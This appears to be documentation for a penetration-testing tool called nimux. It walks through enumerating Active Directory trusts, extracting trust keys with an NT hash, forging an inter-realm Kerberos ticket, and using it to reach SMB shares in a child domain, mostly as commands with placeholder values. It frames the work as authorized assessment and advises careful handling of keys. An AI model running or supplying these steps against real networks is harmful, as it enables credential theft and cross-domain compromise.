Trust Keys and Inter-Realm Tickets with nimux

Overview

Trust relationships define how one Active Directory domain accepts identities from another. In advanced assessments, trust key material and inter-realm tickets can demonstrate cross-domain impact. This is high-impact work and should be done only with explicit authorization.

nimux supports trust enumeration, trust key collection, and Kerberos inter-realm forge workflows.

Enumerate trusts

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' --query trusts

Collect graph-friendly context:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --bloodhound \
  --bloodhound-out trust-review

Collect trust key material

Run trust key collection only when the principal is authorized to read that material.

nimux ldap dc01.corp.local -d corp.local -u privileged.operator -H <nt_hash> \
  --trust-keys \
  --json > trust-keys.jsonl

Store output like secrets. Trust keys are sensitive cross-boundary material.

Build an inter-realm ticket

Use explicit realm, target realm, SID, and output paths.

nimux kerberos dc01.corp.local -d corp.local \
  --forge inter-realm \
  --user scoped.user \
  --target-realm child.corp.local \
  --key <trust-rc4-or-aes-key> \
  --sid S-1-5-21-111111111-222222222-333333333 \
  --out scoped-inter-realm.ccache

If the path requires a service ticket in the target realm:

nimux kerberos dc01.child.corp.local -d child.corp.local \
  --request getst \
  --ccache scoped-inter-realm.ccache \
  --service cifs/server01.child.corp.local \
  --out scoped-cifs-child.ccache

Validate with the matching service:

nimux smb server01.child.corp.local -d child.corp.local -k \
  --ccache scoped-cifs-child.ccache \
  --shares

Reporting

Report trust direction, source realm, target realm, key type, ticket type, target service, and validation result. Do not paste raw trust keys into general report text.